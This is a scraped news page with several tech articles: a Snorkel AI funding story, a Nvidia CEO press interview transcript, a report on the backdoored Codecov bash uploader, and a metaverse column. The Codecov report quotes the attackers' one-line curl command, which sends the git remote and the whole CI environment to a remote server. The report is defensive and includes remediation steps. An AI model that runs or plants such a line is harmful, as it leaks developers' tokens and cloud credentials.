Connect with us

Tech

Snorkel AI’s app development platform lures $35M

Published

on

Snorkel AI

Join GamesBeat Summit 2021 this April 28-29. Register for free or grab a discounted VIP pass today.


Snorkel AI, a startup developing data labeling tools aimed at enterprises , today announced that it raised $35 million in a series B round led by Lightspeed Venture Partners. The funding marks the launch of the company’s Application Studio, a visual builder with templated solutions for common AI use cases based on best practices from academic institutions.

According to a 2020 Cognilytica report, 80% of AI development time is spent on manually gathering, organizing, and labeling the data that’s used to train machine learning models. Hand labeling is notoriously expensive and slow, with limited leeway for development teams to build, iterate, adapt, or audit apps. In a recent survey conducted by startup CloudFlower, data scientists said that they spend 60% of the time just organizing and cleaning data compared with 4% on refining algorithms.

Snorkel AI hopes to address this with tools that let customers create and manage training data, train models, and analyze and iterate AI systems. Founded by a team spun out of the Stanford AI Lab, Snorkel AI claims to offer the first AI app development platform, Snorkel Flow, that labels and manages machine learning training data programmatically.

Application Studio will expand the Snorkel AI platform’s capabilities in a number of ways, the company says, by introducing prebuilt solution templates based on industry-specific use cases. Customers can leverage templates for contract intelligence, news analytics, and customer interaction routing as well as common AI tasks such as text and document classification, named entity recognition and information extraction. Application Studio also provides packaged app-specific preprocessors, programmatic labeling templates, and high-performance open-source models that can be trained with private data, in addition to collaborative workflows that decompose apps into modular parts.

Beyond this, Application Studio offers a feature that versions the entire development pipeline from datasets to user contributions. With a few lines of code, apps can be adapted to new data or goals. And they keep training data labeling and orchestration in-house, mitigating data breach and data bias risks.

Application Studio is in preview and will be generally available later this year within Snorkel Flow, Snorkel AI says.

Palo Alto, California-based Snorkel AI’s latest fundraising round brings the startup’s total raised to date to $50 million, which 40-employee Snorkel AI says will be used to scale its engineering team and acquire new customers. Previous investors Greylock, GV, In-Q-Tel, and Nepenthe Capital and new investors Walden and funds and accounts managed by BlackRock also participated in the series B.

VentureBeat

VentureBeat’s mission is to be a digital town square for technical decision-makers to gain knowledge about transformative technology and transact.

Our site delivers essential information on data technologies and strategies to guide you as you lead your organizations. We invite you to become a member of our community, to access:

  • up-to-date information on the subjects of interest to you
  • our newsletters
  • gated thought-leader content and discounted access to our prized events, such as Transform 2021: Learn More
  • networking features, and more

Become a member

Continue Reading
Advertisement
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Tech

Nvidia CEO Jensen Huang interview: From the Grace CPU to engineer’s metaverse

Published

on

Jensen Huang, CEO of Nvidia, at GTC 21.

Join Transform 2021 this July 12-16. Register for the AI event of the year.


Nvidia CEO Jensen Huang delivered a keynote speech this week to 180,000 attendees registered for the GTC 21 online-only conference. And Huang dropped a bunch of news across multiple industries that show just how powerful Nvidia has become.

In his talk, Huang described Nvidia’s work on the Omniverse, a version of the metaverse for engineers. The company is starting out with a focus on the enterprise market, and hundreds of enterprises are already supporting and using it. Nvidia has spent hundreds of millions of dollars on the project, which is based on 3D data-sharing standard Universal Scene Description, originally created by Pixar and later open-sourced. The Omniverse is a place where Nvidia can test self-driving cars that use its AI chips and where all sorts of industries will able to test and design products before they’re built in the physical world.

Nvidia also unveiled its Grace central processing unit (CPU), an AI processor for datacenters based on the Arm architecture. Huang announced new DGX Station mini-sucomputers and said customers will be free to rent them as needed for smaller computing projects. And Nvidia unveiled its BlueField 3 data processing units (DPUs) for datacenter computing alongside new Atlan chips for self-driving cars.

Here’s an edited transcript of Huang’s group interview with the press this week. I asked the first question, and other members of the press asked the rest. Huang talked about everything from what the Omniverse means for the game industry to Nvidia’s plans to acquire Arm for $40 billion.

Above: Nvidia CEO Jensen Huang at GTC 21.

Image Credit: Nvidia

Jensen Huang: We had a great GTC. I hope you enjoyed the keynote and some of the talks. We had more than 180,000 registered attendees, 3 times larger than our largest-ever GTC. We had 1,600 talks from some amazing speakers and researchers and scientists. The talks covered a broad range of important topics, from AI [to] 5G, quantum computing, natural language understanding, recommender systems, the most important AI algorithm of our time, self-driving cars, health care, cybersecurity, robotics, edge IOT — the spectrum of topics was stunning. It was very exciting.

Question: I know that the first version of Omniverse is for enterprise, but I’m curious about how you would get game developers to embrace this. Are you hoping or expecting that game developers will build their own versions of a metaverse in Omniverse and eventually try to host consumer metaverses inside Omniverse? Or do you see a different purpose when it’s specifically related to game developers?

Huang: Game development is one of the most complex design pipelines in the world today. I predict that more things will be designed in the virtual world, many of them for games, than there will be designed in the physical world. They will be every bit as high quality and high fidelity, every bit as exquisite, but there will be more buildings, more cars, more boats, more coins, and all of them — there will be so much stuff designed in there. And it’s not designed to be a game prop. It’s designed to be a real product. For a lot of people, they’ll feel that it’s as real to them in the digital world as it is in the physical world.

Omniverse lets artists design hotels in a 3D space.

Above: Omniverse lets artists design hotels in a 3D space.

Image Credit: Leeza SOHO, Beijing by ZAHA HADID ARCHITECTS

Omniverse enables game developers working across this complicated pipeline, first of all, to be able to connect. Someone doing rigging for the animation or someone doing textures or someone designing geometry or someone doing lighting, all of these different parts of the design pipeline are complicated. Now they have Omniverse to connect into. Everyone can see what everyone else is doing, rendering in a fidelity that is at the level of what everyone sees. Once the game is developed, they can run it in the Unreal engine that gets exported out. These worlds get run on all kinds of devices. Or Unity. But if someone wants to stream it right out of the cloud, they could do that with Omniverse, because it needs multiple GPUs, a fair amount of computation.

That’s how I see it evolving. But within Omniverse, just the concept of designing virtual worlds for the game developers, it’s going to be a huge benefit to their work flow.

Question: You announced that your current processors target high-performance computing with a special focus on AI. Do you see expanding this offering, developing this CPU line into other segments for computing on a larger scale in the market of datacenters?

Huang: Grace is designed for applications, software that is data-driven. AI is software that writes software. To write that software, you need a lot of experience. It’s just like human intelligence. We need experience. The best way to get that experience is through a lot of data. You can also get it through simulation. For example, the Omniverse simulation system will run on Grace incredibly well. You could simulate — simulation is a form of imagination. You could learn from data. That’s a form of experience. Studying data to infer, to generalize that understanding and turn it into knowledge. That’s what Grace is designed for, these large systems for very important new forms of software, data-driven software.

As a policy, or not a policy, but as a philosophy, we tend not to do anything unless the world needs us to do it and it doesn’t exist. When you look at the Grace architecture, it’s unique. It doesn’t look like anything out there. It solves a problem that didn’t used to exist. It’s an opportunity and a market, a way of doing computing that didn’t exist 20 years ago. It’s sensible to imagine that CPUs that were architected and system architectures that were designed 20 years ago wouldn’t address this new application space. We’ll tend to focus on areas where it didn’t exist before. It’s a new class of problem, and the world needs to do it. We’ll focus on that.

Otherwise, we have excellent partnerships with Intel and AMD. We work very closely with them in the PC industry, in the datacenter, in hyperscale, in supercomputing. We work closely with some exciting new partners. Ampere Computing is doing a great ARM CPU. Marvell is incredible at the edge, 5G systems and I/O systems and storage systems. They’re fantastic there, and we’ll partner with them. We partner with Mediatek, the largest SOC company in the world. These are all companies who have brought great products. Our strategy is to support them. Our philosophy is to support them. By connecting our platform, Nvidia AI or Nvidia RTX, our raytracing platform, with Omniverse and all of our platform technologies to their CPUs, we can expand the overall market. That’s our basic approach. We only focus on building things that the world doesn’t have.

Nvidia's Grace CPU for datacenters.

Above: Nvidia’s Grace CPU for datacenters is named after Grace Hopper.

Image Credit: Nvidia

Question: I wanted to follow up on the last question regarding Grace and its use. Does this signal Nvidia’s perhaps ambitions in the CPU space beyond the datacenter? I know you said you’re looking for things that the world doesn’t have yet. Obviously, working with ARM chips in the datacenter space leads to the question of whether we’ll see a commercial version of an Nvidia CPU in the future.

Huang: Our platforms are open. When we build our platforms, we create one version of it. For example, DGX. DGX is fully integrated. It’s bespoke. It has an architecture that’s very specifically Nvidia. It was designed — the first customer was Nvidia researchers. We have a couple billion dollars’ worth of infrastructure our AI researchers are using to develop products and pretrain models and do AI research and self-driving cars. We built DGX primarily to solve a problem we had. Therefore it’s completely bespoke.

We take all of the building blocks, and we open it. We open our computing platform in three layers: the hardware layer, chips and systems; the middleware layer, which is Nvidia AI, Nvidia Omniverse, and it’s open; and the top layer, which is pretrained models, AI skills, like driving skills, speaking skills, recommendation skills, pick and play skills, and so on. We create it vertically, but we architect it and think about it and build it in a way that’s intended for the entire industry to be able to use however they see fit. Grace will be commercial in the same way, just like Nvidia GPUs are commercial.

With respect to its future, our primary preference is that we don’t build something. Our primary preference is that if somebody else is building it, we’re delighted to use it. That allows us to spare our critical resources in the company and focus on advancing the industry in a way that’s rather unique. Advancing the industry in a way that nobody else does. We try to get a sense of where people are going, and if they’re doing a fantastic job at it, we’d rather work with them to bring Nvidia technology to new markets or expand our combined markets together.

The ARM license, as you mentioned — acquiring ARM is a very similar approach to the way we think about all of computing. It’s an open platform. We sell our chips. We license our software. We put everything out there for the ecosystem to be able to build bespoke, their own versions of it, differentiated versions of it. We love the open platform approach.

Question: Can you explain what made Nvidia decide that this datacenter chip was needed right now? Everybody else has datacenter chips out there. You’ve never done this before. How is it different from Intel, AMD, and other datacenter CPUs? Could this cause problems for Nvidia partnerships with those companies, because this puts you in direct competition?

Huang: The answer to the last part — I’ll work my way to the beginning of your question. But I don’t believe so. Companies have leadership that are a lot more mature than maybe given credit for. We compete with the ARM GPUs. On the other hand, we use their CPUs in DGX. Literally, our own product. We buy their CPUs to integrate into our own product — arguably our most important product. We work with the whole semiconductor industry to design their chips into our reference platforms. We work hand in hand with Intel on RTX gaming notebooks. There are almost 80 notebooks we worked on together this season. We advance industry standards together. A lot of collaboration.

Back to why we designed the datacenter CPU, we didn’t think about it that way. The way Nvidia tends to think is we say, “What is a problem that is worthwhile to solve, that nobody in the world is solving and we’re suited to go solve that problem and if we solve that problem it would be a benefit to the industry and the world?” We ask questions literally like that. The philosophy of the company, in leading through that set of questions, finds us solving problems only we will, or only we can, that have never been solved before. The outcome of trying to create a system that can train AI models, language models, that are gigantic, learn from multi-modal data, that would take less than three months — right now, even on a giant supercomputer, it takes months to train 1 trillion parameters. The world would like to train 100 trillion parameters on multi-modal data, looking at video and text at the same time.

The journey there is not going to happen by using today’s architecture and making it bigger. It’s just too inefficient. We created something that is designed from the ground up to solve this class of interesting problems. Now this class of interesting problems didn’t exist 20 years ago, as I mentioned, or even 10 or five years ago. And yet this class of problems is important to the future. AI that’s conversational, that understands language, that can be adapted and pretrained to different domains, what could be more important? It could be the ultimate AI. We came to the conclusion that hundreds of companies are going to need giant systems to pretrain these models and adapt them. It could be thousands of companies. But it wasn’t solvable before. When you have to do computing for three years to find a solution, you’ll never have that solution. If you can do that in weeks, that changes everything.

That’s how we think about these things. Grace is designed for giant-scale data-driven software development, whether it’s for science or AI or just data processing.

Nvidia DGX SuperPod

Above: Nvidia DGX SuperPod

Image Credit: Nvidia

Question: You’re proposing a software library for quantum computing. Are you working on hardware components as well?

Huang: We’re not building a quantum computer. We’re building an SDK for quantum circuit simulation. We’re doing that because in order to invent, to research the future of computing, you need the fastest computer in the world to do that. Quantum computers, as you know, are able to simulate exponential complexity problems, which means that you’re going to need a really large computer very quickly. The size of the simulations you’re able to do to verify the results of the research you’re doing to do development of algorithms so you can run them on a quantum computer someday, to discover algorithms — at the moment, there aren’t that many algorithms you can run on a quantum computer that prove to be useful. Grover’s is one of them. Shore’s is another. There are some examples in quantum chemistry.

We give the industry a platform by which to do quantum computing research in systems, in circuits, in algorithms, and in the meantime, in the next 15-20 years, while all of this research is happening, we have the benefit of taking the same SDKs, the same computers, to help quantum chemists do simulations much more quickly. We could put the algorithms to use even today.

And then last, quantum computers, as you know, have incredible exponential complexity computational capability. However, it has extreme I/O limitations. You communicate with it through microwaves, through lasers. The amount of data you can move in and out of that computer is very limited. There needs to be a classical computer that sits next to a quantum computer, the quantum accelerator if you can call it that, that pre-processes the data and does the post-processing of the data in chunks, in such a way that the classical computer sitting next to the quantum computer is going to be super fast. The answer is fairly sensible, that the classical computer will likely be a GPU-accelerated computer.

There are lots of reasons we’re doing this. There are 60 research institutes around the world. We can work with every one of them through our approach. We intend to. We can help every one of them advance their research.

Question: So many workers have moved to work from home, and we’ve seen a huge increase in cybercrime. Has that changed the way AI is used by companies like yours to provide defenses? Are you worried about these technologies in the hands of bad actors who can commit more sophisticated and damaging crimes? Also, I’d love to hear your thoughts broadly on what it will take to solve the chip shortage problem on a lasting global basis.

Huang: The best way is to democratize the technology, in order to enable all of society, which is vastly good, and to put great technology in their hands so that they can use the same technology, and ideally superior technology, to stay safe. You’re right that security is a real concern today. The reason for that is because of virtualization and cloud computing. Security has become a real challenge for companies because every computer inside your datacenter is now exposed to the outside. In the past, the doors to the datacenter were exposed, but once you came into the company, you were an employee, or you could only get in through VPN. Now, with cloud computing, everything is exposed.

The other reason why the datacenter is exposed is because the applications are now aggregated. It used to be that the applications would run monolithically in a container, in one computer. Now the applications for scaled out architectures, for good reasons, have been turned into micro-services that scale out across the whole datacenter. The micro-services are communicating with each other through network protocols. Wherever there’s network traffic, there’s an opportunity to intercept. Now the datacenter has billions of ports, billions of virtual active ports. They’re all attack surfaces.

The answer is you have to do security at the node. You have to start it at the node. That’s one of the reasons why our work with BlueField is so exciting to us. Because it’s a network chip, it’s already in the computer node, and because we invented a way to put high-speed AI processing in an enterprise datacenter — it’s called EGX — with BlueField on one end and EGX on the other, that’s a framework for security companies to build AI. Whether it’s a Check Point or a Fortinet or Palo Alto Networks, and the list goes on, they can now develop software that runs on the chips we build, the computers we build. As a result, every single packet in the datacenter can be monitored. You would inspect every packet, break it down, turn it into tokens or words, read it using natural language understanding, which we talked about a second ago — the natural language understanding would determine whether there’s a particular action that’s needed, a security action needed, and send the security action request back to BlueField.

This is all happening in real time, continuously, and there’s just no way to do this in the cloud because you would have to move way too much data to the cloud. There’s no way to do this on the CPU because it takes too much energy, too much compute load. People don’t do it. I don’t think people are confused about what needs to be done. They just don’t do it because it’s not practical. But now, with BlueField and EGX, it’s practical and doable. The technology exists.

Nvidia's Inception AI statups over the years.

Above: Nvidia’s Inception AI statups over the years.

Image Credit: Nvidia

The second question has to do with chip supply. The industry is caught by a couple of dynamics. Of course one of the dynamics is COVID exposing, if you will, a weakness in the supply chain of the automotive industry, which has two main components it builds into cars. Those main components go through various supply chains, so their supply chain is super complicated. When it shut down abruptly because of COVID, the recovery process was far more complicated, the restart process, than anybody expected. You could imagine it, because the supply chain is so complicated. It’s very clear that cars could be rearchitected, and instead of thousands of components, it wants to be a few centralized components. You can keep your eyes on four things a lot better than a thousand things in different places. That’s one factor.

The other factor is a technology dynamic. It’s been expressed in a lot of different ways, but the technology dynamic is basically that we’re aggregating computing into the cloud, and into datacenters. What used to be a whole bunch of electronic devices — we can now virtualize it, put it in the cloud, and remotely do computing. All the dynamics we were just talking about that have created a security challenge for datacenters, that’s also the reason why these chips are so large. When you can put computing in the datacenter, the chips can be as large as you want. The datacenter is big, a lot bigger than your pocket. Because it can be aggregated and shared with so many people, it’s driving the adoption, driving the pendulum toward very large chips that are very advanced, versus a lot of small chips that are less advanced. All of a sudden, the world’s balance of semiconductor consumption tipped toward the most advanced of computing.

The industry now recognizes this, and surely the world’s largest semiconductor companies recognize this. They’ll build out the necessary capacity. I doubt it will be a real issue in two years because smart people now understand what the problems are and how to address them.

Question: I’d like to know more about what clients and industries Nvidia expects to reach with Grace, and what you think is the size of the market for high-performance datacenter CPUs for AI and advanced computing.

Huang: I’m going to start with I don’t know. But I can give you my intuition. 30 years ago, my investors asked me how big the 3D graphics was going to be. I told them I didn’t know. However, my intuition was that the killer app would be video games, and the PC would become — at the time the PC didn’t even have sound. You didn’t have LCDs. There was no CD-ROM. There was no internet. I said, “The PC is going to become a consumer product. It’s very likely that the new application that will be made possible, that wasn’t possible before, is going to be a consumer product like video games.” They said, “How big is that market going to be?” I said, “I think every human is going to be a gamer.” I said that about 30 years ago. I’m working toward being right. It’s surely happening.

Ten years ago someone asked me, “Why are you doing all this stuff in deep learning? Who cares about detecting cats?” But it’s not about detecting cats. At the time I was trying to detect red Ferraris, as well. It did it fairly well. But anyway, it wasn’t about detecting things. This was a fundamentally new way of developing software. By developing software this way, using networks that are deep, which allows you to capture very high dimensionality, it’s the universal function approximator. If you gave me that, I could use it to predict Newton’s law. I could use it to predict anything you wanted to predict, given enough data. We invested tens of billions behind that intuition, and I think that intuition has proven right.

I believe that there’s a new scale of computer that needs to be built, that needs to learn from basically Earth-scale amounts of data. You’ll have sensors that will be connected to everywhere on the planet, and we’ll use them to predict climate, to create a digital twin of Earth. It’ll be able to predict weather everywhere, anywhere, down to a square meter, because it’s learned the physics and all the geometry of the Earth. It’s learned all of these algorithms. We could do that for natural language understanding, which is extremely complex and changing all the time. The thing people don’t realize about language is it’s evolving continuously. Therefore, whatever AI model you use to understand language is obsolete tomorrow, because of decay, what people call model drift. You’re continuously learning and drifting, if you will, with society.

There’s some very large data-driven science that needs to be done. How many people need language models? Language is thought. Thought is humanity’s ultimate technology. There are so many different versions of it, different cultures and languages and technology domains. How people talk in retail, in fashion, in insurance, in financial services, in law, in the chip industry, in the software industry. They’re all different. We have to train and adapt models for every one of those. How many versions of those? Let’s see. Take 70 languages, multiply by 100 industries that need to use giant systems to train on data forever. That’s maybe an intuition, just to give a sense of my intuition about it. My sense is that it will be a very large new market, just as GPUs were once a zero billion dollar market. That’s Nvidia’s style. We tend to go after zero billion dollar markets, because that’s how we make a contribution to the industry. That’s how we invent the future.

Arm's campus in Cambridge, United Kingdom.

Above: Arm’s campus in Cambridge, United Kingdom.

Image Credit: Arm

Question: Are you still confident that the ARM deal will gain approval by close? With the announcement of Grace and all the other ARM-relevant partnerships you have in development, how important is the ARM acquisition to the company’s goals, and what do you get from owning ARM that you don’t get from licensing?

Huang: ARM and Nvidia are independently and separately excellent businesses, as you know well. We will continue to have excellent separate businesses as we go through this process. However, together we can do many things, and I’ll come back to that. To the beginning of your question, I’m very confident that the regulators will see the wisdom of the transaction. It will provide a surge of innovation. It will create new options for the marketplace. It will allow ARM to be expanded into markets that otherwise are difficult for them to reach themselves. Like many of the partnerships I announced, those are all things bringing AI to the ARM ecosystem, bringing Nvidia’s accelerated computing platform to the ARM ecosystem — it’s something only we and a bunch of computing companies working together can do. The regulators will see the wisdom of it, and our discussions with them are as expected and constructive. I’m confident that we’ll still get the deal done in 2022, which is when we expected it in the first place, about 18 months.

With respect to what we can do together, I demonstrated one example, an early example, at GTC. We announced partnerships with Amazon to combine the Graviton architecture with Nvidia’s GPU architecture to bring modern AI and modern cloud computing to the cloud for ARM. We did that for Ampere computing, for scientific computing, AI in scientific computing. We announced it for Marvell, for edge and cloud platforms and 5G platforms. And then we announced it for Mediatek. These are things that will take a long time to do, and as one company we’ll be able to do it a lot better. The combination will enhance both of our businesses. On the one hand, it expands ARM into new computing platforms that otherwise would be difficult. On the other hand, it expands Nvidia’s AI platform into the ARM ecosystem, which is underexposed to Nvidia’s AI and accelerated computing platform.

Question: I covered Atlan a little more than the other pieces you announced. We don’t really know the node side, but the node side below 10nm is being made in Asia. Will it be something that other countries adopt around the world, in the West? It raises a question for me about the long-term chip supply and the trade issues between China and the United States. Because Atlan seems to be so important to Nvidia, how do you project that down the road, in 2025 and beyond? Are things going to be handled, or not?

Huang: I have every confidence that it will not be an issue. The reason for that is because Nvidia qualifies and works with all of the major foundries. Whatever is necessary to do, we’ll do it when the time comes. A company of our scale and our resources, we can surely adapt our supply chain to make our technology available to customers that use it.BlueField-3 DPU

Question: In reference to BlueField 3, and BlueField 2 for that matter, you presented a strong proposition in terms of offloading workloads, but could you provide some context into what markets you expect this to take off in, both right now and going into the future? On top of that, what barriers to adoption remain in the market?

Huang: I’m going to go out on a limb and make a prediction and work backward. Number one, every single datacenter in the world will have an infrastructure computing platform that is isolated from the application platform in five years. Whether it’s five or 10, hard to say, but anyway, it’s going to be complete, and for very logical reasons. The application that’s where the intruder is, you don’t want the intruder to be in a control mode. You want the two to be isolated. By doing this, by creating something like BlueField, we have the ability to isolate.

Second, the processing necessary for the infrastructure stack that is software-defined — the networking, as I mentioned, the east-west traffic in the datacenter, is off the charts. You’re going to have to inspect every single packet now. The east-west traffic in the data center, the packet inspection, is going to be off the charts. You can’t put that on the CPU because it’s been isolated onto a BlueField. You want to do that on BlueField. The amount of computation you’ll have to accelerate onto an infrastructure computing platform is quite significant, and it’s going to get done. It’s going to get done because it’s the best way to achieve zero trust. It’s the best way that we know of, that the industry knows of, to move to the future where the attack surface is basically zero, and yet every datacenter is virtualized in the cloud. That journey requires a reinvention of the datacenter, and that’s what BlueField does. Every datacenter will be outfitted with something like BlueField.

I believe that every single edge device will be a datacenter. For example, the 5G edge will be a datacenter. Every cell tower will be a datacenter. It’ll run applications, AI applications. These AI applications could be hosting a service for a client or they could be doing AI processing to optimize radio beams and strength as the geometry in the environment changes. When traffic changes and the beam changes, the beam focus changes, all of that optimization, incredibly complex algorithms, wants to be done with AI. Every base station is going to be a cloud native, orchestrated, self-optimizing sensor. Software developers will be programming it all the time.

Every single car will be a datacenter. Every car, truck, shuttle will be a datacenter. Every one of those datacenters, the application plane, which is the self-driving car plane, and the control plane, that will be isolated. It’ll be secure. It’ll be functionally safe. You need something like BlueField. I believe that every single edge instance of computing, whether it’s in a warehouse, a factory — how could you have a several-billion-dollar factory with robots moving around and that factory is literally sitting there and not have it be completely tamper-proof? Out of the question, absolutely. That factory will be built like a secure datacenter. Again, BlueField will be there.

Everywhere on the edge, including autonomous machines and robotics, every datacenter, enterprise or cloud, the control plane and the application plane will be isolated. I promise you that. Now the question is, “How do you go about doing it? What’s the obstacle?” Software. We have to port the software. There’s two pieces of software, really, that need to get done. It’s a heavy lift, but we’ve been lifting it for years. One piece is for 80% of the world’s enterprise. They all run VMware vSphere software-defined datacenter. You saw our partnership with VMware, where we’re going to take vSphere stack — we have this, and it’s in the process of going into production now, going to market now … taking vSphere and offloading it, accelerating it, isolating it from the application plane.

Nvidia has eight new RTX GPU cards.

Above: Nvidia has eight new RTX GPU cards.

Image Credit: Nvidia

Number two, for everybody else out at the edge, the telco edge, with Red Hat, we announced a partnership with them, and they’re doing the same thing. Third, for all the cloud service providers who have bespoke software, we created an SDK called DOCA 1.0. It’s released to production, announced at GTC. With this SDK, everyone can program the BlueField, and by using DOCA 1.0, everything they do on BlueField runs on BlueField 3 and BlueField 4. I announced the architecture for all three of those will be compatible with DOCA. Now the software developers know the work they do will be leveraged across a very large footprint, and it will be protected for decades to come.

We had a great GTC. At the highest level, the way to think about that is the work we’re doing is all focused on driving some of the fundamental dynamics happening in the industry. Your questions centered around that, and that’s fantastic. There are five dynamics highlighted during GTC. One of them is accelerated computing as a path forward. It’s the approach we pioneered three decades ago, the approach we strongly believe in. It’s able to solve some challenges for computing that are now front of mind for everyone. The limits of CPUs and their ability to scale to reach some of the problems we’d like to address are facing us. Accelerated computing is the path forward.

Second, to be mindful about the power of AI that we all are excited about. We have to realize that it’s a software that is writing software. The computing method is different. On the other hand, it creates incredible new opportunities. Thinking about the datacenter not just as a big room with computers and network and security appliances, but thinking of the entire datacenter as one computing unit. The datacenter is the new computing unit.

Bentley's tools used to create a digital twin of a location in the Omniverse.

Above: Bentley’s tools used to create a digital twin of a location in the Omniverse.

Image Credit: Nvidia

5G is super exciting to me. Commercial 5G, consumer 5G is exciting. However, it’s incredibly exciting to look at private 5G, for all the applications we just looked at. AI on 5G is going to bring the smartphone moment to agriculture, to logistics, to manufacturing. You can see how excited BMW is about the technologies we’ve put together that allow them to revolutionize the way they do manufacturing, to become much more of a technology company going forward.

Last, the era of robotics is here. We’re going to see some very rapid advances in robotics. One of the critical needs of developing robotics and training robotics, because they can’t be trained in the physical world while they’re still clumsy — we need to give it a virtual world where it can learn how to be a robot. These virtual worlds will be so realistic that they’ll become the digital twins of where the robot goes into production. We spoke about the digital twin vision. PTC is a great example of a company that also sees the vision of this. This is going to be a realization of a vision that’s been talked about for some time. The digital twin idea will be made possible because of technologies that have emerged out of gaming. Gaming and scientific computing have fused together into what we call Omniverse.

GamesBeat

GamesBeat’s creed when covering the game industry is “where passion meets business.” What does this mean? We want to tell you how the news matters to you — not just as a decision-maker at a game studio, but also as a fan of games. Whether you read our articles, listen to our podcasts, or watch our videos, GamesBeat will help you learn about the industry and enjoy engaging with it.

How will you do that? Membership includes access to:

  • Newsletters, such as DeanBeat
  • The wonderful, educational, and fun speakers at our events
  • Networking opportunities
  • Special members-only interviews, chats, and “open office” events with GamesBeat staff
  • Chatting with community members, GamesBeat staff, and other guests in our Discord
  • And maybe even a fun prize or two
  • Introductions to like-minded parties

Become a member

Continue Reading

Tech

Backdoored developer tool that stole credentials escaped notice for 3 months

Published

on

Backdoored developer tool that stole credentials escaped notice for 3 months

Getty Images

A publicly available software development tool contained malicious code that stole the authentication credentials that apps need to access sensitive resources. It’s the latest revelation of a supply chain attack that has the potential to backdoor the networks of countless organizations.

The Codecov bash uploader contained the backdoor from late January to the beginning of April, developers of the tool said on Thursday. The backdoor caused developer computers to send secret authentication tokens and other sensitive data to a remote site controlled by the hackers. The uploader works with development platforms including Github Actions, CircleCI, and Bitrise Step, all of which support having such secret authentication tokens in the development environment.

A pile of AWS and other cloud credentials

The Codecov bash uploader performs what is known as code coverage for large-scale software development projects. It allows developers to send coverage reports that, among other things, determine how much of a codebase has been tested by internal test scripts. Some development projects integrate Codecov and similar third-party services into their platforms, where there is free access to sensitive credentials that can be used to steal or modify source code.

Code similar to this single line first appeared on January 31:

curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” https:///upload/v2 || true

The code sends both the GitHub repository location and the entire process environment to the remote site, which has been redacted because Codecov says it’s part of an ongoing federal investigation. These types of environments typically store tokens, credentials, and other secrets for software in Amazon Web Services or GitHub.

Armed with these secrets, there’s no shortage of malicious things an attacker could do to development environments that relied on the tool, said HD Moore, a security expert and the CEO of network discovery platform Rumble.

“It really depends on what was in the environment, but from the point that attackers had access (via the bash uploader), they might have been able to plant backdoors on the systems where it ran,” he wrote in a direct message with Ars. “For GitHub/CircleCI, this would have mostly exposed source code and credentials.”

Moore continued:

The attackers likely ended up with a pile of AWS and other cloud credentials in addition to tokens that could give them access to private repositories, which includes source code but also all the other stuff that the token was authorized for. On the extreme end, these credentials would be self-perpetuating—the attackers use a stolen GitHub token to backdoor the source code, which then steals downstream customer data, etc. The same could apply to AWS and other cloud credentials. If the credentials allowed for it, they could enable infrastructure takeover, database access, file access, etc.

In Thursday’s advisory, Codecov said the malicious version of the bash uploader could access:

  • Any credentials, tokens, or keys that our customers were passing through their CI (continuous integration) runner that would be accessible when the bash uploader script was executed
  • Any services, datastores, and application code that could be accessed with these credentials, tokens, or keys
  • The git remote information (URL of the origin repository) of repositories using the bash uploaders to upload coverage to Codecov in CI

“Based upon the forensic investigation results to date, it appears that there was periodic unauthorized access to a Google Cloud Storage (GCS) key beginning January 31, 2021, which allowed a malicious third-party to alter a version of our bash uploader script to potentially export information subject to continuous integration to a third-party server,” Codecov said. “Codecov secured and remediated the script April 1, 2021.”

The Codecov advisory said that a bug in Codecov’s Docker image-creation process allowed the hacker to extract the credential required to modify the bash uploader script.

The tampering was discovered on April 1 by a customer who noticed that the shasum that acts as a digital fingerprint to confirm the integrity of bash uploader didn’t match the shasum for the version downloaded from https://codecov.io/bash. The customer contacted Codecov, and the tool maker pulled the malicious version and started an investigation.

Codecov is urging anyone who used the bash updater during the affected period to revoke all credentials, tokens, or keys located in CI processes and create new ones. Developers can determine what keys and tokens are stored in a CI environment by running the env command in the CI Pipeline. Anything sensitive should be considered compromised.

Additionally, anyone who uses a locally stored version of the bash uploader should check it for the following:

Curl -sm 0.5 -d “$(git remote -v)

If this commands appear anywhere in a locally stored bash uploader, users should immediately replace the uploader with the most recent version from https://codecov.io/bash.

Codecov said that developers using a self-hosted version of bash update are unlikely to be affected. “To be impacted, your CI pipeline would need to be fetching the bash uploader from https://codecov.io/bash instead of from your self-hosted Codecov installation. You can verify from where you are fetching the bash uploader by looking at your CI pipeline configuration,” the company said.

The appeal of supply chain attacks

The compromise of Codecov’s software development and distribution system is the latest supply chain attack to come to light. In December, a similar compromise hit SolarWinds, the Austin, Texas maker of network management tools used by about 300,000 organizations around the world, including Fortune 500 companies and government agencies.

The hackers who carried out the breach then distributed a backdoored update that was downloaded by about 18,000 customers. About 10 US federal agencies and 100 private companies eventually received follow-on payloads that sent sensitive information to attacker-controlled servers. FireEye, Microsoft, Mimecast, and Malwarebytes were all swept up in the campaign.

More recently, hackers carried out a software supply chain attack that was used to install surveillance malware on the computers of people using NoxPlayer, a software package that emulates the Android operating system on PCs and Macs, mainly so users can play mobile games on those platforms. A backdoored version of NoxPlayer was available for five months, researchers from ESET said.

The appeal of supply chain attacks to hackers is their breadth and effectiveness. By compromising a single player high in the software supply, hackers can potentially infect any person or organization who uses the compromised product. Another feature that hackers find beneficial: there’s often little or nothing targets can do to detect malicious software distributed this way because digital signatures will indicate that it’s legitimate.

In the case of the backdoored bash update version, however, it would have been easy for Codecov or any of its customers to detect the malice by doing nothing more than checking the shasum. The ability for the malicious version to escape notice for three months indicates that no one bothered to perform this simple check.

People who have used the bash updater between January 31 and April 1 should carefully inspect their development builds for signs of compromise by following the steps outlined in Thursday’s advisory.

Continue Reading

Tech

The DeanBeat: A Big Bang week for the metaverse

Published

on

These people are not people. They MetaHumans.

Join Transform 2021 this July 12-16. Register for the AI event of the year.


The metaverse had a couple of Big Bangs this week that should put it on everyone’s radar. First, Epic Games raised $1 billion at a $28.7 billion valuation. That is $11.4 billion more valuable than Epic Games was just nine months ago, when it raised $1.78 billion at a $17.3 billion value.

And it wasn’t raising this money to invest more in Fortnite. Rather, Epic explicitly said it was investing money for its plans for the metaverse, the universe of virtual worlds that are all interconnected, like in novels such as Snow Crash and Ready Player One. Epic Games CEO Tim Sweeney has made no secret of his ambitions for building the metaverse and how it should be open.

And while that might sound crazy, he received $200 million from Sony in this round, on top of $250 million received from Sony in the last round. I interpret this to mean that Sony doesn’t think Sweeney is crazy, and that it too believes in his dream of making the metaverse happen. And if Sony believes in the metaverse, then we should expect all of gaming to set the metaverse as its North Star. Epic’s $1 billion in cash is going to be spent on the metaverse, and that amount of money is going to look small in the long run.

